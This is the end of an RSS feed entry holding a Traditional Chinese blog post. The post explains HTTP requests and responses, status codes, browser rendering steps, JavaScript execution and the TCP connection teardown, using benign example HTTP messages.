&lt;li&gt;&lt;strong&gt;Request Line&lt;/strong&gt;：包括 HTTP 方法（如 &lt;code&gt;GET&lt;/code&gt;、&lt;code&gt;POST&lt;/code&gt;）、請求的 URL Path 和 HTTP 版本。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Request Header&lt;/strong&gt;：包含請求的 Metadata，如&lt;code&gt;Host&lt;/code&gt;、&lt;code&gt;User-Agent&lt;/code&gt;、&lt;code&gt;Accept&lt;/code&gt;、&lt;code&gt;Cache-Control&lt;/code&gt;等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Request Body&lt;/strong&gt;：&lt;strong&gt;通常&lt;/strong&gt;僅在POST、PUT等方法中存在，用於傳遞資料。例如使用者想要登入某網站時，將 Username 和 Password 傳遞給網站，以證明自己的身份。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;常見的http-method&#34;&gt;常見的HTTP Method
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;GET&lt;/strong&gt;：請求取得資源。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;POST&lt;/strong&gt;：向伺服器提交數據。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PUT&lt;/strong&gt;：上傳指定資源。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DELETE&lt;/strong&gt;：刪除指定資源。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HEAD&lt;/strong&gt;：跟GET很像，但基本上只能收到 Status line 和 Header。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OPTIONS&lt;/strong&gt;: 詢問可以使用的 HTTP Method。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;這邊僅列出比較常聽到的，詳細可參考 &lt;a class=&#34;link&#34; href=&#34;https://datatracker.ietf.org/doc/html/rfc7231#section-4.3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;RFC 7231 section-4.3&lt;/a&gt;，另外HTTP Method 也可以自訂&lt;/p&gt;
&lt;p&gt;下面是一個範例的 Request&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt;1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;7
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;GET&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;/p/browser-to-response-explain/&lt;/span&gt; &lt;span class=&#34;kr&#34;&gt;HTTP&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;1.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Host&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;blog.hack.tw&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Accept-Language&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;zh-TW&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;User-Agent&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Connection&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;keep-alive&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;l&#34;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;   &lt;span class=&#34;l&#34;&gt; &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;伺服器回應-server-response&#34;&gt;伺服器回應 Server Response
&lt;/h3&gt;&lt;p&gt;伺服器接收到 HTTP 請求後，處理並返回 HTTP 回應，包含狀態碼（如 1xx 資訊性訊息、2xx 成功、3xx 重定向、4xx 使用者端錯誤、5xx 伺服器錯誤）和所請求的資源（例如HTML文檔）。詳細可參考 &lt;a class=&#34;link&#34; href=&#34;https://datatracker.ietf.org/doc/html/rfc7231#section-6&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;RFC 7231 section-6&lt;/a&gt;，或是 &lt;a class=&#34;link&#34; href=&#34;https://zh.wikipedia.org/zh-tw/HTTP%E7%8A%B6%E6%80%81%E7%A0%81&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;Wikipedia&lt;/a&gt;&lt;/p&gt;
&lt;h4 id=&#34;http-回應的結構&#34;&gt;HTTP 回應的結構
&lt;/h4&gt;&lt;p&gt;HTTP回應是伺服器對用戶端請求的回應，包含以下主要部分：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Status Line&lt;/strong&gt;：包括 HTTP 版本、狀態碼和狀態描述。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Response Header&lt;/strong&gt;：包含回應的 meta-data，如 Date、Content-Type、Server等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Response Body&lt;/strong&gt;：包含所請求的資源（如HTML文檔、圖片等）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&#34;常見的-http-status-code&#34;&gt;常見的 HTTP Status Code
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;1xx（資訊性狀態碼）&lt;/strong&gt;：表示請求已經被接受，正在處理中。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2xx（成功狀態碼）&lt;/strong&gt;：表示請求已成功處理（如200 OK）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;3xx（重定向狀態碼）&lt;/strong&gt;：表示需要進一步操作才能完成請求（如301 Moved Permanently）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;4xx（用戶端錯誤狀態碼）&lt;/strong&gt;：表示請求有錯誤，無法處理（如404 Not Found）。 &lt;del&gt;或是418這種迷因&lt;/del&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;5xx（伺服器錯誤狀態碼）&lt;/strong&gt;：表示伺服器在處理請求時發生錯誤（如500 Internal Server Error）。&lt;/li&gt;
&lt;/ol&gt;
&lt;div class=&#34;info&#34;&gt;
    可以上&lt;a class=&#34;link&#34; href=&#34;https://http.cat/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;http.cat&lt;/a&gt;查看各種Status Code貓，&lt;del&gt;推薦看418&lt;/del&gt;
&lt;/div&gt;

&lt;p&gt;以下是 Response 的範例&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div class=&#34;chroma&#34;&gt;
&lt;table class=&#34;lntable&#34;&gt;&lt;tr&gt;&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code&gt;&lt;span class=&#34;lnt&#34;&gt; 1
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 2
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 3
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 4
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 5
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 6
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 7
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 8
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt; 9
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;10
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;11
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;12
&lt;/span&gt;&lt;span class=&#34;lnt&#34;&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td class=&#34;lntd&#34;&gt;
&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-http&#34; data-lang=&#34;http&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kr&#34;&gt;HTTP&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;/&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;2&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;418&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;I&amp;#39;m a teapot&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Date&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;Wed, 28 Aug 2024 12:43:32 GMT&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Content-Type&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;text/html; charset=utf-8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Vary&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;Accept-Encoding&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;X-Content-Type-Options&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;nosniff&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;X-Frame-Options&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;SAMEORIGIN&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;X-Xss-Protection&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;1; mode=block&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;Server&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;l&#34;&gt;cloudflare&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;cp&#34;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;...
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&#34;nt&#34;&gt;html&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;h3 id=&#34;瀏覽器處理回應response&#34;&gt;瀏覽器處理回應(Response)
&lt;/h3&gt;&lt;p&gt;瀏覽器接收到伺服器的回應後，開始解析 HTML 。瀏覽器引擎指揮各個部分的工作，將 HTML 交給渲染引擎。&lt;/p&gt;
&lt;h4 id=&#34;瀏覽器的工作流程&#34;&gt;瀏覽器的工作流程
&lt;/h4&gt;&lt;p&gt;瀏覽器的主要任務是將伺服器返回的 HTML 轉換為可視的網頁，這個過程包括多個步驟：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;解析 HTML&lt;/strong&gt;：瀏覽器解析 HTML 標籤(tag)，產生對應的 DOM 節點(Node)，並按照HTML結構組織成DOM Tree。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;解析 CSS&lt;/strong&gt;：瀏覽器解析 CSS 樣式，產生對應的 CSS 規則，並按照選擇器應用到相應的 DOM 節點，組織成 CSSOM。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;構建渲染樹(Render tree)&lt;/strong&gt;：參考 DOM 和 CSSOM ，並且將目標瀏覽器需要的畫面元素建構成渲染樹(Render tree)，這棵樹描述了網頁的結構和樣式。
&lt;div class=&#34;info&#34;&gt;
    會說是&lt;strong&gt;參考&lt;/strong&gt;是因為像是 &lt;code&gt;display: none&lt;/code&gt;這種元素(Element)不會被瀏覽器渲染，也就是這個元素會完全從渲染樹消失，渲染時也不會佔據空間。
詳細可參考 &lt;a class=&#34;link&#34; href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/display#none&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://developer.mozilla.org/en-US/docs/Web/CSS/display#none&lt;/a&gt;
&lt;/div&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;原文如下:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;none&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Turns off the display of an element so that it has no effect on layout (the document is rendered as though the element did not exist). All descendant elements also have their display turned off. To have an element take up the space that it would normally take, but without actually rendering anything, use the visibility property instead.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;&lt;strong&gt;佈局 Layout&lt;/strong&gt;：根據渲染樹中的節點關係和樣式屬性，計算每個節點的確切位置和大小。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;繪製 Paint&lt;/strong&gt;：根據佈局計算的結果，將每個節點繪製到螢幕上，包括 Text、圖片、邊框等。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&#34;javascript-執行&#34;&gt;JavaScript 執行
&lt;/h3&gt;&lt;p&gt;在解析和佈局過程中，如果遇到 JavaScript，瀏覽器會將其交給 JavaScript 引擎執行。JavaScript 引擎會解析和執行腳本，可能會改變 DOM 和 CSSOM，導致佈局和繪製的重新計算。&lt;/p&gt;
&lt;h4 id=&#34;javascript-的執行過程&#34;&gt;JavaScript 的執行過程
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;解析&lt;/strong&gt;：JavaScript 引擎將程式碼解析為語法樹。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;編譯&lt;/strong&gt;：將語法樹(Syntax Tree)轉換為機器碼，準備執行。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;執行&lt;/strong&gt;：執行機器碼，操作 DOM 和 CSSOM，&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;可能觸發佈局和繪製的重新計算。&lt;/p&gt;
&lt;h3 id=&#34;tcp-四次揮手連線終止&#34;&gt;TCP 四次揮手（連線終止）
&lt;/h3&gt;&lt;p&gt;當用戶端或伺服器一方希望終止連線時，會發送 FIN（終止）Packet。另一方收到 FIN Packet 後，回應 ACK Packet，確認收到終止請求。接著，接收 FIN Packet 的一方也發送一個 FIN Packet，請求終止連線。最初發送FIN Packet 的一方回應一個 ACK Packet，最終確認連線已終止，完成四次揮手。&lt;/p&gt;
&lt;h4 id=&#34;tcp四次揮手的過程&#34;&gt;TCP四次揮手的過程
&lt;/h4&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;FIN Packet&lt;/strong&gt;：發起終止的一方（例如用戶端）發送一個 FIN Packet，請求終止連線。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ACK Packet&lt;/strong&gt;：接收 FIN Packet的一方（例如伺服器）回應一個 ACK Packet，確認收到終止請求。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;FIN Packet&lt;/strong&gt;：接收方（例如伺服器）再發送一個 FIN Packet，請求終止連線。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ACK Packet&lt;/strong&gt;：最初發送 FIN Packet的一方（例如用戶端）回應一個 ACK Packet，確認終止請求，連線正式終止。&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&#34;mermaid&#34;&gt;sequenceDiagram
    participant Client
    participant Server

    Client-&gt;&gt;Server: FIN
    Server--&gt;&gt;Client: ACK
    Server--&gt;&gt;Client: FIN
    Client-&gt;&gt;Server: ACK
  &lt;/pre&gt;
  &lt;p&gt;這個四次揮手的過程確保雙方都能夠有序地關閉連線，避免數據丟失和混亂。&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id=&#34;最後的想法&#34;&gt;最後的想法
&lt;/h3&gt;&lt;p&gt;以上是從輸入 URL 到網頁顯示的完整過程，涵蓋了每個技術步驟的基本解釋和一些背景。希望這篇文章能夠幫助你深入理解網頁載入背後的技術原理，這一過程看似簡單，實際上涉及了大量複雜的技術。理解這些過程不僅能增進我們對 Web 技術的認識，對於想研究 Web Security 的人也一定有所幫助。如果你有更多問題或需要進一步了解，歡迎來信討論！&lt;/p&gt;
</description>
        </item>
        
    </channel>
</rss>
